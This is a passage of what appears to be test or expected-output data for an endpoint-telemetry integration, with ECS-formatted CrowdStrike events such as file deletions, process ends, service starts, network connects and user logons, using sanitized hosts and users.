"continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffd8844a59acce5e1f4ad01888", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "7073822473144", - "pid": 744, - "thread": { - "id": 48689911139327 - } - }, - "related": { - "hash": [ - "3011122681" - ], - "hosts": [ - "com1" - ], - "ip": [ - "67.43.156.13", - "67.43.156.14" - ], - "user": [ - "user5" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "user5" - } - }, - { - "@timestamp": "2020-11-08T17:05:54.670Z", - "crowdstrike": { - "ConfigStateHash": "3343111420", - "ContextProcessId": "1838383212125", - "ContextTimeStamp": "2020-11-08T17:05:51.534Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileObject": "18446636884348143072", - "IrpFlags": "1028", - "MajorFunction": "18", - "MinorFunction": "0", - "OperationFlags": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b23b-064dea059649", - "name": "ExecutableDeletedV3" - }, - "device": { - "id": "ffffffff4a0946365161093453e596d4" - }, - "event": { - "action": "ExecutableDeleted", - "category": [ - "file" - ], - "created": "2020-11-08T17:05:54.670Z", - "id": "ffffffff-1111-11eb-b23b-064dea059649|ffffffff4a0946365161093453e596d4|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextProcessId\":\"1838383212125\",\"ContextThreadId\":\"27242382481217\",\"ContextTimeStamp\":\"1604855151.534\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff\",\"FileObject\":\"18446636884348143072\",\"IrpFlags\":\"1028\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\WindowsApps\\\\Deleted\\\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\\\clrcompression.dll\",\"aid\":\"ffffffff4a0946365161093453e596d4\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ExecutableDeleted\",\"id\":\"ffffffff-1111-11eb-b23b-064dea059649\",\"name\":\"ExecutableDeletedV3\",\"timestamp\":\"1604855154670\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699", - "extension": "dll", - "inode": "b0754a8f86feffffb0754a8f86feffff09764a8f86feffff", - "name": "clrcompression.dll", - "path": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll", - "type": "file" - }, - "host": { - "id": "ffffffff4a0946365161093453e596d4", - "os": { - "type": "windows" - } - }, - "message": "ExecutableDeleted", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff4a0946365161093453e596d4", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1838383212125", - "thread": { - "id": 27242382481217 - } - }, - "related": { - "hash": [ - "3343111420" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:00.047Z", - "crowdstrike": { - "AsepWrittenCount": 0, - "ConfigStateHash": "230795414", - "ContextProcessId": "318137549555284836", - "ContextTimeStamp": "2020-11-08T17:05:35.209Z", - "DirectoryCreatedCount": 0, - "DnsRequestCount": 0, - "Entitlements": "15", - "ExecutableDeletedCount": 0, - "FileDeletedCount": 0, - "NetworkBindCount": 0, - "NetworkCapableAsepWriteCount": 0, - "NetworkCloseCount": 0, - "NetworkConnectCount": 0, - "NetworkListenCount": 0, - "NetworkRecvAcceptCount": 0, - "NewExecutableWrittenCount": 0, - "SHA256HashData": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a", - "SuspectStackCount": 0, - "SuspiciousDnsRequestCount": 0, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-ae31-065d76bec0c3", - "name": "EndOfProcessMacV11" - }, - "device": { - "id": "ffffffffcfe84e8c6a52c4001bd83761" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2020-11-08T17:06:00.047Z", - "id": "ffffffff-1111-11eb-ae31-065d76bec0c3|ffffffffcfe84e8c6a52c4001bd83761|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009202.1\",\"ConfigStateHash\":\"230795414\",\"ContextProcessId\":\"318137549555284836\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855135.209\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"20195\",\"SHA256HashData\":\"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"318137549555284836\",\"aid\":\"ffffffffcfe84e8c6a52c4001bd83761\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-ae31-065d76bec0c3\",\"name\":\"EndOfProcessMacV11\",\"timestamp\":\"1604855160047\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffffcfe84e8c6a52c4001bd83761", - "os": { - "type": "macos" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffcfe84e8c6a52c4001bd83761", - "version": "1007.4.0009202.1" - }, - "process": { - "entity_id": "318137549555284836", - "hash": { - "sha256": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a" - }, - "pid": 20195, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a", - "230795414" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:13.077Z", - "crowdstrike": { - "ApiReturnValue": "1", - "ConfigStateHash": "3338885535", - "ContextProcessId": "683078218537", - "ContextTimeStamp": "2020-11-08T17:06:11.731Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-a570-0685ba2a382f", - "name": "RegisterRawInputDevicesEtwV1" - }, - "device": { - "id": "ffffffff80984ea8b49d9a53f590c566" - }, - "event": { - "action": "RegisterRawInputDevicesEtw", - "category": [ - "host", - "configuration" - ], - "created": "2020-11-08T17:06:13.077Z", - "id": "ffffffff-1111-11eb-a570-0685ba2a382f|ffffffff80984ea8b49d9a53f590c566|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ApiReturnValue\":\"1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"683078218537\",\"ContextTimeStamp\":\"1604855171.731\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"19400\",\"EtwRawThreadId\":\"9384\",\"aid\":\"ffffffff80984ea8b49d9a53f590c566\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RegisterRawInputDevicesEtw\",\"id\":\"ffffffff-1111-11eb-a570-0685ba2a382f\",\"name\":\"RegisterRawInputDevicesEtwV1\",\"timestamp\":\"1604855173077\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff80984ea8b49d9a53f590c566", - "os": { - "type": "windows" - } - }, - "message": "RegisterRawInputDevicesEtw", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff80984ea8b49d9a53f590c566", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "683078218537", - "pid": 19400, - "thread": { - "id": 9384 - } - }, - "related": { - "hash": [ - "3338885535" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:14.018Z", - "crowdstrike": { - "CompletionEventId": "Event_ChannelDataDownloadCompleteV1", - "ConfigStateHash": "3338885535", - "DownloadPort": 443, - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8ab5-0643392fc75d", - "name": "LFODownloadConfirmationV1" - }, - "device": { - "id": "ffffffffffc94c645268f64fc900213f" - }, - "event": { - "action": "LFODownloadConfirmation", - "category": [ - "file" - ], - "created": "2020-11-08T17:06:14.018Z", - "id": "ffffffff-1111-11eb-8ab5-0643392fc75d|ffffffffffc94c645268f64fc900213f|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteV1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys\",\"DownloadPort\":\"443\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"TargetFileName\":\"C-00000013-00000000-00000408.sys\",\"aid\":\"ffffffffffc94c645268f64fc900213f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"LFODownloadConfirmation\",\"id\":\"ffffffff-1111-11eb-8ab5-0643392fc75d\",\"name\":\"LFODownloadConfirmationV1\",\"timestamp\":\"1604855174018\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "path": "C-00000013-00000000-00000408.sys", - "type": "file" - }, - "host": { - "id": "ffffffffffc94c645268f64fc900213f", - "os": { - "type": "windows" - } - }, - "message": "LFODownloadConfirmation", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffffc94c645268f64fc900213f", - "version": "1007.3.0011603.1" - }, - "related": { - "hash": [ - "3338885535" - ], - "ip": [ - "67.43.156.14" - ] - }, - "server": { - "address": "lfodown01-b.cloudsink.net", - "domain": "lfodown01-b.cloudsink.net", - "registered_domain": "cloudsink.net", - "subdomain": "lfodown01-b", - "top_level_domain": "net" - }, - "tags": [ - "preserve_original_event" - ], - "url": { - "domain": "lfodown01-b.cloudsink.net", - "extension": "sys", - "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys", - "path": "/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys", - "registered_domain": "cloudsink.net", - "scheme": "https", - "subdomain": "lfodown01-b", - "top_level_domain": "net" - } - }, - { - "@timestamp": "2020-11-08T17:06:17.513Z", - "crowdstrike": { - "ConfigStateHash": "1763245019", - "ContextProcessId": "2071361595421", - "ContextTimeStamp": "2020-11-08T17:05:46.590Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileObject": "18446622606546437424", - "IrpFlags": "395312", - "MajorFunction": "6", - "MinorFunction": "0", - "NewFileIdentifier": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00", - "OperationFlags": "0", - "TargetFileName": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8162-0663305b686f", - "name": "NewExecutableRenamedV6" - }, - "device": { - "id": "ffffffff280b41b956a91e816bd9b9b0" - }, - "event": { - "action": "NewExecutableRenamed", - "category": [ - "file" - ], - "created": "2020-11-08T17:06:17.513Z", - "id": "ffffffff-1111-11eb-8162-0663305b686f|ffffffff280b41b956a91e816bd9b9b0|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"2071361595421\",\"ContextThreadId\":\"41650430047375\",\"ContextTimeStamp\":\"1604855146.590\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"FileObject\":\"18446622606546437424\",\"IrpFlags\":\"395312\",\"MajorFunction\":\"6\",\"MinorFunction\":\"0\",\"NewFileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"OperationFlags\":\"0\",\"SourceFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\temp\\\\EKA0UARWWK\\\\Microsoft.WSMan.Management.ni.dll\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\NativeImages_v4.0.30319_64\\\\Microsoft.We0722664#\\\\c2579d00f9849413b8b7948dd00ac863\\\\Microsoft.WSMan.Management.ni.dll\",\"aid\":\"ffffffff280b41b956a91e816bd9b9b0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8162-0663305b686f\",\"name\":\"NewExecutableRenamedV6\",\"timestamp\":\"1604855177513\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "Ext": { - "original": { - "name": "Microsoft.WSMan.Management.ni.dll", - "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll" - } - }, - "directory": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863", - "extension": "dll", - "inode": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00", - "name": "Microsoft.WSMan.Management.ni.dll", - "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll", - "type": "file" - }, - "host": { - "id": "ffffffff280b41b956a91e816bd9b9b0", - "os": { - "type": "windows" - } - }, - "message": "NewExecutableRenamed", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff280b41b956a91e816bd9b9b0", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "2071361595421", - "thread": { - "id": 41650430047375 - } - }, - "related": { - "hash": [ - "1763245019" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:20.332Z", - "crowdstrike": { - "ConfigStateHash": "402097454", - "ContextProcessId": "66601077523", - "ContextTimeStamp": "2020-11-08T17:06:05.213Z", - "DesiredAccess": "1048577", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileAttributes": "128", - "FileObject": "18446641334185168032", - "Information": "2", - "IrpFlags": "2180", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "35668001", - "ShareAccess": "3", - "Status": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9411-06b7c99be087", - "name": "DirectoryCreateV1" - }, - "device": { - "id": "ffffffff2c9f4066b0b5f2f00265503c" - }, - "event": { - "action": "DirectoryCreate", - "category": [ - "file" - ], - "created": "2020-11-08T17:06:20.332Z", - "id": "ffffffff-1111-11eb-9411-06b7c99be087|ffffffff2c9f4066b0b5f2f00265503c|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"402097454\",\"ContextProcessId\":\"66601077523\",\"ContextThreadId\":\"2500785639062\",\"ContextTimeStamp\":\"1604855165.213\",\"DesiredAccess\":\"1048577\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700\",\"FileObject\":\"18446641334185168032\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"35668001\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\CbsTemp\\\\30848497_1904507751\\\\FodWU\",\"aid\":\"ffffffff2c9f4066b0b5f2f00265503c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DirectoryCreate\",\"id\":\"ffffffff-1111-11eb-9411-06b7c99be087\",\"name\":\"DirectoryCreateV1\",\"timestamp\":\"1604855180332\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751", - "inode": "d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700", - "name": "FodWU", - "path": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU", - "type": "dir" - }, - "host": { - "id": "ffffffff2c9f4066b0b5f2f00265503c", - "os": { - "type": "windows" - } - }, - "message": "DirectoryCreate", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff2c9f4066b0b5f2f00265503c", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "66601077523", - "thread": { - "id": 2500785639062 - } - }, - "related": { - "hash": [ - "402097454" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:36.635Z", - "crowdstrike": { - "AuthenticationId": "999", - "ConfigStateHash": "3343111420", - "ContextTimeStamp": "2020-11-08T17:06:36.468Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003", - "InterfaceVersion": "131072", - "RpcClientProcessId": "949196415400", - "RpcClientThreadId": "44209361549673", - "RpcNestingLevel": "0", - "RpcOpNum": "19", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9c98-02c501fe7d81", - "name": "ServiceStartedV2" - }, - "device": { - "id": "fffffffffcc4413057adc260e99b0774" - }, - "event": { - "action": "ServiceStarted", - "category": [ - "process" - ], - "created": "2020-11-08T17:06:36.635Z", - "id": "ffffffff-1111-11eb-9c98-02c501fe7d81|fffffffffcc4413057adc260e99b0774|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k netsvcs -p -s wlidsvc\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextTimeStamp\":\"1604855196.468\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"949196415400\",\"RpcClientThreadId\":\"44209361549673\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"wlidsvc\",\"TargetProcessId\":\"955370934902\",\"TokenType\":\"1\",\"UserName\":\"user6\",\"aid\":\"fffffffffcc4413057adc260e99b0774\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ServiceStarted\",\"id\":\"ffffffff-1111-11eb-9c98-02c501fe7d81\",\"name\":\"ServiceStartedV2\",\"timestamp\":\"1604855196635\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "fffffffffcc4413057adc260e99b0774", - "os": { - "type": "windows" - } - }, - "message": "ServiceStarted", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "fffffffffcc4413057adc260e99b0774", - "version": "1007.3.0011603.1" - }, - "process": { - "args": [ - "C:\\WINDOWS\\system32\\svchost.exe", - "-k", - "netsvcs", - "-p", - "-s", - "wlidsvc" - ], - "args_count": 6, - "command_line": "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc", - "entity_id": "955370934902", - "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe", - "name": "svchost.exe", - "title": "wlidsvc" - }, - "related": { - "hash": [ - "3343111420" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "user6" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "user6" - } - }, - { - "@timestamp": "2020-11-08T17:06:40.836Z", - "crowdstrike": { - "ConfigStateHash": "203564169", - "ConnectionFlags": "0", - "ContextProcessId": "319255017313886870", - "ContextTimeStamp": "2020-11-08T17:06:40.751Z", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "0:0:0:0:0:0:0:0" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-81f1-061cdebbd115", - "name": "NetworkConnectIP6MacV5" - }, - "destination": { - "address": "0:0:0:0:0:0:0:1", - "ip": "0:0:0:0:0:0:0:1", - "port": 2181 - }, - "device": { - "id": "ffffffffed0f41575620ab9fb25ce105" - }, - "event": { - "action": "NetworkConnectIP6", - "category": [ - "network" - ], - "created": "2020-11-08T17:06:40.836Z", - "id": "ffffffff-1111-11eb-81f1-061cdebbd115|ffffffffed0f41575620ab9fb25ce105|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"319255017313886870\",\"ContextTimeStamp\":\"1604855200.751\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemotePort\":\"2181\",\"aid\":\"ffffffffed0f41575620ab9fb25ce105\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-81f1-061cdebbd115\",\"name\":\"NetworkConnectIP6MacV5\",\"timestamp\":\"1604855200836\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffffed0f41575620ab9fb25ce105", - "os": { - "type": "macos" - } - }, - "message": "NetworkConnectIP6", - "network": { - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffed0f41575620ab9fb25ce105", - "version": "1007.4.0011104.1" - }, - "process": { - "entity_id": "319255017313886870" - }, - "related": { - "hash": [ - "203564169" - ], - "ip": [ - "67.43.156.14", - "0:0:0:0:0:0:0:0", - "0:0:0:0:0:0:0:1" - ] - }, - "source": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 0 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:52.031Z", - "crowdstrike": { - "AuthenticationId": "1656178821", - "AuthenticationPackage": "Kerberos", - "ConfigStateHash": "3338885535", - "ContextProcessId": "30254389526587", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LogonId": "1656178821", - "LogonServer": "srv1", - "LogonTime": "2020-11-08T17:06:51.249Z", - "LogonType": "5", - "PasswordLastSet": "1530626210.104", - "RemoteAccount": "1", - "SessionId": "0", - "UserFlags": "32", - "UserLogonFlags": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-86e3-02db1faa1327", - "name": "UserIdentityV2" - }, - "device": { - "id": "ffffffff73164cfa9656c4caff8a2a38" - }, - "event": { - "action": "UserIdentity", - "category": [ - "authentication", - "iam" - ], - "created": "2020-11-08T17:06:52.031Z", - "id": "ffffffff-1111-11eb-86e3-02db1faa1327|ffffffff73164cfa9656c4caff8a2a38|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"1656178821\",\"AuthenticationPackage\":\"Kerberos\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"30254389526587\",\"ContextThreadId\":\"275230771323179\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"dom1\",\"LogonId\":\"1656178821\",\"LogonServer\":\"srv1\",\"LogonTime\":\"1604855211.249\",\"LogonType\":\"5\",\"PasswordLastSet\":\"1530626210.104\",\"RemoteAccount\":\"1\",\"SessionId\":\"0\",\"UserCanonical\":\"\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"0\",\"UserName\":\"user7\",\"UserPrincipal\":\"user7@dom4.cm\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-183372\",\"aid\":\"ffffffff73164cfa9656c4caff8a2a38\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-86e3-02db1faa1327\",\"name\":\"UserIdentityV2\",\"timestamp\":\"1604855212031\"}", - "outcome": "success", - "type": [ - "info", - "user" - ] - }, - "host": { - "domain": "dom1", - "id": "ffffffff73164cfa9656c4caff8a2a38", - "os": { - "type": "windows" - } - }, - "message": "UserIdentity", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff73164cfa9656c4caff8a2a38", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "30254389526587", - "thread": { - "id": 275230771323179 - } - }, - "related": { - "hash": [ - "3338885535" - ], - "hosts": [ - "srv1" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user7", - "user7@dom4.cm", - "S-1-5-21-606747145-1364589140-725345543-183372" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom4.cm", - "email": "user7@dom4.cm", - "full_name": "user7", - "id": "S-1-5-21-606747145-1364589140-725345543-183372", - "name": "user7" - } - }, - { - "@timestamp": "2020-11-08T17:07:17.946Z", - "crowdstrike": { - "AuthenticationId": "999", - "ConfigStateHash": "4193986770", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "16384", - "MD5HashData": 